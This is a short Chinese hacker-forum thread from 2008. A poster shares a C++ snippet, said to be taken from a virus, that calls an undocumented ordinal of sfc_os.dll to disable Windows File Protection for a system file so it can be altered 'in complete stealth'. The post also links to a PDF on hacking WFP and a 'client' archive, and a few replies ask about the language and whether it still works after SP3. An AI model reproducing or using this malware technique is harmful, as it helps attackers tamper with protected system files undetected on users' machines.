貌似是系统自保护的xx 一个病毒里面看到的方法貌似是下面的这个

复制内容到剪贴板

代码:

typedef DWORD(__stdcall *CPP) (DWORD param1, PWCHAR param2, DWORD param3);



void Disable_WFP()

{



HINSTANCE hmod=LoadLibrary("sfc_os.dll");



CPP SetSfcFileException;



// the function is stored at the fifth ordinal in sfc_os.dll



SetSfcFileException= (CPP)GetProcAddress(hmod,(LPCSTR)5);



SetSfcFileException(0, L"c:\\windows\\system32\\calc.exe",-1);



//Now we can modify the system file in a complete stealth.



}

其他资料：

http://www.xfocus.net/articles/200402/672.html
http://forum.eviloctal.com/thread-28429-1-1.html

A simple way to hack Windows File Protection (WFP).pdf (31.89 KB)

A simple way to hack Windows File Protection (WFP).pdf (31.89 KB)
下载次数: 54

2008-7-29 15:06

客户端.rar (30 KB)

客户端.rar (30 KB)
下载次数: 68

2008-7-29 15:09

[ 本帖最后由 一把锈剑 于 2008-7-29 15:09 编辑 ]

沙发  什么语言啊  我咋看不懂

取消指定文件的 SFC保护，对 SP3以后系统适用吗？ 貌似 SP3 改了sfc_os.dll。。。

C++?